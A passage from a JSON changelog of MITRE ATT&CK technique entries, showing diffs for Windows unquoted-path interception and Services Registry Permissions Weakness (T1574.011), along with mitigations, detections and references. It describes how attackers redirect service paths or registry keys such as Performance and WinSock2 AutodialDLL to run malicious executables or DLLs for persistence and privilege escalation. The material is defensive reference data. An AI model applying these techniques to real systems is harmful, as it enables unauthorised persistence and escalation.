                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to139__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to139__0\"><a href=\"#difflib_chg_to139__top\">t</a></td><td class=\"diff_header\" id=\"from139_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;execute&nbsp;their&nbsp;own&nbsp;malicious&nbsp;payloads&nbsp;by&nbsp;hija</td><td class=\"diff_next\"><a href=\"#difflib_chg_to139__top\">t</a></td><td class=\"diff_header\" id=\"to139_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;execute&nbsp;their&nbsp;own&nbsp;malicious&nbsp;payloads&nbsp;by&nbsp;hija</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cking&nbsp;vulnerable&nbsp;file&nbsp;path&nbsp;references.&nbsp;Adversaries&nbsp;can&nbsp;take&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cking&nbsp;vulnerable&nbsp;file&nbsp;path&nbsp;references.&nbsp;Adversaries&nbsp;can&nbsp;take&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">advantage&nbsp;of&nbsp;paths&nbsp;that&nbsp;lack&nbsp;surrounding&nbsp;quotations&nbsp;by&nbsp;placi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">advantage&nbsp;of&nbsp;paths&nbsp;that&nbsp;lack&nbsp;surrounding&nbsp;quotations&nbsp;by&nbsp;placi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ng&nbsp;an&nbsp;executable&nbsp;in&nbsp;a&nbsp;higher&nbsp;level&nbsp;directory&nbsp;within&nbsp;the&nbsp;path</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ng&nbsp;an&nbsp;executable&nbsp;in&nbsp;a&nbsp;higher&nbsp;level&nbsp;directory&nbsp;within&nbsp;the&nbsp;path</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">,&nbsp;so&nbsp;that&nbsp;Windows&nbsp;will&nbsp;choose&nbsp;the&nbsp;adversary's&nbsp;executable&nbsp;to&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">,&nbsp;so&nbsp;that&nbsp;Windows&nbsp;will&nbsp;choose&nbsp;the&nbsp;adversary's&nbsp;executable&nbsp;to&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">launch.&nbsp;&nbsp;Service&nbsp;paths<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;Microsoft&nbsp;CurrentControlSe</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">launch.&nbsp;&nbsp;Service&nbsp;paths(Citation:&nbsp;Microsoft&nbsp;CurrentControlSet</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t&nbsp;Services)&nbsp;and&nbsp;shortcut&nbsp;paths&nbsp;may&nbsp;also&nbsp;be&nbsp;vulnerable&nbsp;to&nbsp;pat</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Services)&nbsp;and&nbsp;shortcut&nbsp;paths&nbsp;may&nbsp;also&nbsp;be&nbsp;vulnerable&nbsp;to&nbsp;path</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">h&nbsp;interception&nbsp;if&nbsp;the&nbsp;path&nbsp;has&nbsp;one&nbsp;or&nbsp;more&nbsp;spaces&nbsp;and&nbsp;is&nbsp;not</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;interception&nbsp;if&nbsp;the&nbsp;path&nbsp;has&nbsp;one&nbsp;or&nbsp;more&nbsp;spaces&nbsp;and&nbsp;is&nbsp;not&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;surrounded&nbsp;by&nbsp;quotation&nbsp;marks&nbsp;(e.g.,&nbsp;&lt;code&gt;C:\\unsafe&nbsp;path&nbsp;w</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">surrounded&nbsp;by&nbsp;quotation&nbsp;marks&nbsp;(e.g.,&nbsp;&lt;code&gt;C:\\unsafe&nbsp;path&nbsp;wi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ith&nbsp;space\\program.exe&lt;/code&gt;&nbsp;vs.&nbsp;&lt;code&gt;\"C:\\safe&nbsp;path&nbsp;with&nbsp;sp</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">th&nbsp;space\\program.exe&lt;/code&gt;&nbsp;vs.&nbsp;&lt;code&gt;\"C:\\safe&nbsp;path&nbsp;with&nbsp;spa</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ace\\program.exe\"&lt;/code&gt;).<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;Help&nbsp;eliminate&nbsp;unquoted</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ce\\program.exe\"&lt;/code&gt;).(Citation:&nbsp;Help&nbsp;eliminate&nbsp;unquoted&nbsp;p</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;path)&nbsp;(stored&nbsp;in&nbsp;Windows&nbsp;Registry&nbsp;keys)&nbsp;An&nbsp;adversary&nbsp;can&nbsp;pl</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ath)&nbsp;(stored&nbsp;in&nbsp;Windows&nbsp;Registry&nbsp;keys)&nbsp;An&nbsp;adversary&nbsp;can&nbsp;plac</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ace&nbsp;an&nbsp;executable&nbsp;in&nbsp;a&nbsp;higher&nbsp;level&nbsp;directory&nbsp;of&nbsp;the&nbsp;path,&nbsp;a</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;an&nbsp;executable&nbsp;in&nbsp;a&nbsp;higher&nbsp;level&nbsp;directory&nbsp;of&nbsp;the&nbsp;path,&nbsp;and</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nd&nbsp;Windows&nbsp;will&nbsp;resolve&nbsp;that&nbsp;executable&nbsp;instead&nbsp;of&nbsp;the&nbsp;inten</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Windows&nbsp;will&nbsp;resolve&nbsp;that&nbsp;executable&nbsp;instead&nbsp;of&nbsp;the&nbsp;intende</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ded&nbsp;executable.&nbsp;For&nbsp;example,&nbsp;if&nbsp;the&nbsp;path&nbsp;in&nbsp;a&nbsp;shortcut&nbsp;is&nbsp;&lt;c</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d&nbsp;executable.&nbsp;For&nbsp;example,&nbsp;if&nbsp;the&nbsp;path&nbsp;in&nbsp;a&nbsp;shortcut&nbsp;is&nbsp;&lt;cod</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ode&gt;C:\\program&nbsp;files\\myapp.exe&lt;/code&gt;,&nbsp;an&nbsp;adversary&nbsp;may&nbsp;crea</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&gt;C:\\program&nbsp;files\\myapp.exe&lt;/code&gt;,&nbsp;an&nbsp;adversary&nbsp;may&nbsp;create</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">te&nbsp;a&nbsp;program&nbsp;at&nbsp;&lt;code&gt;C:\\program.exe&lt;/code&gt;&nbsp;that&nbsp;will&nbsp;be&nbsp;run</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;a&nbsp;program&nbsp;at&nbsp;&lt;code&gt;C:\\program.exe&lt;/code&gt;&nbsp;that&nbsp;will&nbsp;be&nbsp;run&nbsp;i</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;instead&nbsp;of&nbsp;the&nbsp;intended&nbsp;program.<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;Windows&nbsp;Unquote</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nstead&nbsp;of&nbsp;the&nbsp;intended&nbsp;program.(Citation:&nbsp;Windows&nbsp;Unquoted&nbsp;S</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d&nbsp;Services)<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;Windows&nbsp;Privilege&nbsp;Escalation&nbsp;Guide)&nbsp;&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ervices)(Citation:&nbsp;Windows&nbsp;Privilege&nbsp;Escalation&nbsp;Guide)&nbsp;&nbsp;This</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">This&nbsp;technique&nbsp;can&nbsp;be&nbsp;used&nbsp;for&nbsp;persistence&nbsp;if&nbsp;executables&nbsp;ar</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;technique&nbsp;can&nbsp;be&nbsp;used&nbsp;for&nbsp;persistence&nbsp;if&nbsp;executables&nbsp;are&nbsp;ca</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;called&nbsp;on&nbsp;a&nbsp;regular&nbsp;basis,&nbsp;as&nbsp;well&nbsp;as&nbsp;privilege&nbsp;escalation</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">lled&nbsp;on&nbsp;a&nbsp;regular&nbsp;basis,&nbsp;as&nbsp;well&nbsp;as&nbsp;privilege&nbsp;escalation&nbsp;if&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;if&nbsp;intercepted&nbsp;executables&nbsp;are&nbsp;started&nbsp;by&nbsp;a&nbsp;higher&nbsp;privileg</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">intercepted&nbsp;executables&nbsp;are&nbsp;started&nbsp;by&nbsp;a&nbsp;higher&nbsp;privileged&nbsp;p</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ed&nbsp;process.</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rocess.</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1022: Restrict File and Directory Permissions",
                            "M1038: Execution Prevention",
                            "M1047: Audit"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0064: Detection Strategy for Hijack Execution Flow through Path Interception by Unquoted Path"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--17cc750b-e95b-4d7d-9dde-49e0de24148c",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-03-13 11:42:14.444000+00:00",
                    "modified": "2026-11-04 01:07:19.054000+00:00",
                    "name": "Services Registry Permissions Weakness",
                    "description": "Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Flaws in the permissions for Registry keys related to services can allow adversaries to redirect the originally specified executable to one they control, launching their own code when a service starts. Windows stores local service configuration information in the Registry under <code>HKLM\\SYSTEM\\CurrentControlSet\\Services</code>. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe,  [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through access control lists and user permissions.(Citation: Registry Key Security)(Citation: malware_hides_service)\n\nIf the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\n\nAdversaries may also alter other Registry keys in the service\u2019s Registry tree. For example, the <code>FailureCommand</code> key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness)\n\nThe <code>Performance</code> key contains the name of a driver service's performance DLL and the names of several exported functions in the DLL.(Citation: microsoft_services_registry_tree) If the <code>Performance</code> key is not already present and if an adversary-controlled user has the <code>Create Subkey</code> permission, adversaries may create the <code>Performance</code> key in the service\u2019s Registry tree to point to a malicious DLL.(Citation: insecure_reg_perms)\n\nAdversaries may also add the <code>Parameters</code> key, which can reference malicious drivers file paths. This technique has been identified to be a method of abuse by configuring DLL file paths within the <code>Parameters</code> key of a given services registry configuration. By placing and configuring the <code>Parameters</code> key to reference a malicious DLL, adversaries can ensure that their code is loaded persistently whenever the associated service or library is invoked.\n\nFor example, the registry path(Citation: MDSec) <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\WinSock2\\Parameters</code>(Citation: hexacorn)(Citation: gendigital) contains the <code>AutodiaDLL</code> value, which specifies the DLL to be loaded for autodial functionality. An adversary could set the <code>AutodiaDLL</code> to point to a hijacked or malicious DLL:\n\n<code>\"AutodialDLL\"=\"c:\\temp\\foo.dll\"</code>\n\nThis ensures persistence, as it causes the DLL (in this case, foo.dll) to be loaded each time the Winsock 2 library is invoked.",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "stealth"
                        },
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "execution"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1574/011",
                            "external_id": "T1574.011"
                        },
                        {
                            "source_name": "Tweet Registry Perms Weakness",
                            "description": "@r0wdy_. (2017, November 30). Service Recovery Parameters. Retrieved September 12, 2024.",
                            "url": "https://x.com/r0wdy_/status/936365549553991680"
                        },
                        {
                            "source_name": "insecure_reg_perms",
                            "description": "Cl\u00e9ment Labro. (2020, November 12). Windows RpcEptMapper Service Insecure Registry Permissions EoP. Retrieved August 25, 2021.",
                            "url": "https://itm4n.github.io/windows-registry-rpceptmapper-eop/"
                        },
                        {
                            "source_name": "hexacorn",
                            "description": "hexacorn. (2015, January 13). Beyond good ol\u2019 Run key, Part 24. Retrieved September 25, 2025.",
                            "url": "https://www.hexacorn.com/blog/2015/01/13/beyond-good-ol-run-key-part-24/"
                        },
                        {
                            "source_name": "Kansa Service related collectors",
                            "description": "Hull, D.. (2014, May 3). Kansa: Service related collectors and analysis. Retrieved October 10, 2019.",
                            "url": "https://trustedsignal.blogspot.com/2014/05/kansa-service-related-collectors-and.html"
                        },
                        {
                            "source_name": "malware_hides_service",
                            "description": "Lawrence Abrams. (2004, September 10). How Malware hides and is installed as a Service. Retrieved August 30, 2021.",
                            "url": "https://www.bleepingcomputer.com/tutorials/how-malware-hides-as-a-service/"
                        },
                        {
                            "source_name": "MDSec",
                            "description": "MDSec. (n.d.). Autodial(DLL)ing Your Way. Retrieved September 25, 2025.",
                            "url": "https://www.mdsec.co.uk/2022/10/autodialdlling-your-way/"
                        },
                        {
                            "source_name": "Registry Key Security",
                            "description": "Microsoft. (2018, May 31). Registry Key Security and Access Rights. Retrieved March 16, 2017.",
                            "url": "https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry-key-security-and-access-rights?redirectedfrom=MSDN"
                        },
                        {
                            "source_name": "microsoft_services_registry_tree",
                            "description": "Microsoft. (2021, August 5). HKLM\\SYSTEM\\CurrentControlSet\\Services Registry Tree. Retrieved August 25, 2021.",
                            "url": "https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree"
                        },
                        {
                            "source_name": "gendigital",
                            "description": "Threat Research Team. (2022, March 22). Operation Dragon Castling: APT group targeting betting companies. Retrieved September 25, 2025.",
                            "url": "https://www.gendigital.com/blog/insights/research/operation-dragon-castling-apt-group-targeting-betting-companies"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Joe Gumke, U.S. Bank",
                        "Matthew Demaske, Adaptforward",
                        "Travis Smith, Tripwire"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Windows"
                    ],
                    "x_mitre_remote_support": false,
                    "x_mitre_version": "2.0",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 01:07:19.054000+00:00\", \"old_value\": \"2026-05-12 15:12:00.622000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Flaws in the permissions for Registry keys related to services can allow adversaries to redirect the originally specified executable to one they control, launching their own code when a service starts. Windows stores local service configuration information in the Registry under <code>HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services</code>. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe,  [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through access control lists and user permissions.(Citation: Registry Key Security)(Citation: malware_hides_service)\\n\\nIf the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\\n\\nAdversaries may also alter other Registry keys in the service\\u2019s Registry tree. For example, the <code>FailureCommand</code> key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness)\\n\\nThe <code>Performance</code> key contains the name of a driver service's performance DLL and the names of several exported functions in the DLL.(Citation: microsoft_services_registry_tree) If the <code>Performance</code> key is not already present and if an adversary-controlled user has the <code>Create Subkey</code> permission, adversaries may create the <code>Performance</code> key in the service\\u2019s Registry tree to point to a malicious DLL.(Citation: insecure_reg_perms)\\n\\nAdversaries may also add the <code>Parameters</code> key, which can reference malicious drivers file paths. This technique has been identified to be a method of abuse by configuring DLL file paths within the <code>Parameters</code> key of a given services registry configuration. By placing and configuring the <code>Parameters</code> key to reference a malicious DLL, adversaries can ensure that their code is loaded persistently whenever the associated service or library is invoked.\\n\\nFor example, the registry path(Citation: MDSec) <code>HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\WinSock2\\\\Parameters</code>(Citation: hexacorn)(Citation: gendigital) contains the <code>AutodiaDLL</code> value, which specifies the DLL to be loaded for autodial functionality. An adversary could set the <code>AutodiaDLL</code> to point to a hijacked or malicious DLL:\\n\\n<code>\\\"AutodialDLL\\\"=\\\"c:\\\\temp\\\\foo.dll\\\"</code>\\n\\nThis ensures persistence, as it causes the DLL (in this case, foo.dll) to be loaded each time the Winsock 2 library is invoked.\", \"old_value\": \"Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Flaws in the permissions for Registry keys related to services can allow adversaries to redirect the originally specified executable to one they control, launching their own code when a service starts. Windows stores local service configuration information in the Registry under <code>HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services</code>. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe,  [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through access control lists and user permissions. (Citation: Registry Key Security)(Citation: malware_hides_service)\\n\\nIf the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\\n\\nAdversaries may also alter other Registry keys in the service\\u2019s Registry tree. For example, the <code>FailureCommand</code> key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness)\\n\\nThe <code>Performance</code> key contains the name of a driver service's performance DLL and the names of several exported functions in the DLL.(Citation: microsoft_services_registry_tree) If the <code>Performance</code> key is not already present and if an adversary-controlled user has the <code>Create Subkey</code> permission, adversaries may create the <code>Performance</code> key in the service\\u2019s Registry tree to point to a malicious DLL.(Citation: insecure_reg_perms)\\n\\nAdversaries may also add the <code>Parameters</code> key, which can reference malicious drivers file paths. This technique has been identified to be a method of abuse by configuring DLL file paths within the <code>Parameters</code> key of a given services registry configuration. By placing and configuring the <code>Parameters</code> key to reference a malicious DLL, adversaries can ensure that their code is loaded persistently whenever the associated service or library is invoked.\\n\\nFor example, the registry path(Citation: MDSec) <code>HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\WinSock2\\\\Parameters</code>(Citation: hexacorn)(Citation: gendigital) contains the <code>AutodiaDLL</code> value, which specifies the DLL to be loaded for autodial funcitionality. An adversary could set the <code>AutodiaDLL</code> to point to a hijacked or malicious DLL:\\n\\n<code>\\\"AutodialDLL\\\"=\\\"c:\\\\temp\\\\foo.dll\\\"</code>\\n\\nThis ensures persistence, as it causes the DLL (in this case, foo.dll) to be loaded each time the Winsock 2 library is invoked.\", \"diff\": \"--- \\n+++ \\n@@ -1,4 +1,4 @@\\n-Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Flaws in the permissions for Registry keys related to services can allow adversaries to redirect the originally specified executable to one they control, launching their own code when a service starts. Windows stores local service configuration information in the Registry under <code>HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services</code>. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe,  [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through access control lists and user permissions. (Citation: Registry Key Security)(Citation: malware_hides_service)\\n+Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Flaws in the permissions for Registry keys related to services can allow adversaries to redirect the originally specified executable to one they control, launching their own code when a service starts. Windows stores local service configuration information in the Registry under <code>HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services</code>. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe,  [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through access control lists and user permissions.(Citation: Registry Key Security)(Citation: malware_hides_service)\\n \\n If the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\\n \\n@@ -8,7 +8,7 @@\\n \\n Adversaries may also add the <code>Parameters</code> key, which can reference malicious drivers file paths. This technique has been identified to be a method of abuse by configuring DLL file paths within the <code>Parameters</code> key of a given services registry configuration. By placing and configuring the <code>Parameters</code> key to reference a malicious DLL, adversaries can ensure that their code is loaded persistently whenever the associated service or library is invoked.\\n \\n-For example, the registry path(Citation: MDSec) <code>HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\WinSock2\\\\Parameters</code>(Citation: hexacorn)(Citation: gendigital) contains the <code>AutodiaDLL</code> value, which specifies the DLL to be loaded for autodial funcitionality. An adversary could set the <code>AutodiaDLL</code> to point to a hijacked or malicious DLL:\\n+For example, the registry path(Citation: MDSec) <code>HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\WinSock2\\\\Parameters</code>(Citation: hexacorn)(Citation: gendigital) contains the <code>AutodiaDLL</code> value, which specifies the DLL to be loaded for autodial functionality. An adversary could set the <code>AutodiaDLL</code> to point to a hijacked or malicious DLL:\\n \\n <code>\\\"AutodialDLL\\\"=\\\"c:\\\\temp\\\\foo.dll\\\"</code>\\n \"}}}",
                    "previous_version": "2.0",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to112__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to112__0\"><a href=\"#difflib_chg_to112__top\">t</a></td><td class=\"diff_header\" id=\"from112_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;execute&nbsp;their&nbsp;own&nbsp;malicious&nbsp;payloads&nbsp;by&nbsp;hija</td><td class=\"diff_next\"><a href=\"#difflib_chg_to112__top\">t</a></td><td class=\"diff_header\" id=\"to112_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;execute&nbsp;their&nbsp;own&nbsp;malicious&nbsp;payloads&nbsp;by&nbsp;hija</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cking&nbsp;the&nbsp;Registry&nbsp;entries&nbsp;used&nbsp;by&nbsp;services.&nbsp;Flaws&nbsp;in&nbsp;the&nbsp;pe</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cking&nbsp;the&nbsp;Registry&nbsp;entries&nbsp;used&nbsp;by&nbsp;services.&nbsp;Flaws&nbsp;in&nbsp;the&nbsp;pe</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rmissions&nbsp;for&nbsp;Registry&nbsp;keys&nbsp;related&nbsp;to&nbsp;services&nbsp;can&nbsp;allow&nbsp;ad</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rmissions&nbsp;for&nbsp;Registry&nbsp;keys&nbsp;related&nbsp;to&nbsp;services&nbsp;can&nbsp;allow&nbsp;ad</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">versaries&nbsp;to&nbsp;redirect&nbsp;the&nbsp;originally&nbsp;specified&nbsp;executable&nbsp;to</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">versaries&nbsp;to&nbsp;redirect&nbsp;the&nbsp;originally&nbsp;specified&nbsp;executable&nbsp;to</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;one&nbsp;they&nbsp;control,&nbsp;launching&nbsp;their&nbsp;own&nbsp;code&nbsp;when&nbsp;a&nbsp;service&nbsp;s</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;one&nbsp;they&nbsp;control,&nbsp;launching&nbsp;their&nbsp;own&nbsp;code&nbsp;when&nbsp;a&nbsp;service&nbsp;s</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tarts.&nbsp;Windows&nbsp;stores&nbsp;local&nbsp;service&nbsp;configuration&nbsp;informatio</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tarts.&nbsp;Windows&nbsp;stores&nbsp;local&nbsp;service&nbsp;configuration&nbsp;informatio</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;in&nbsp;the&nbsp;Registry&nbsp;under&nbsp;&lt;code&gt;HKLM\\SYSTEM\\CurrentControlSet\\</td><td class=\"diff_next\"></td><td 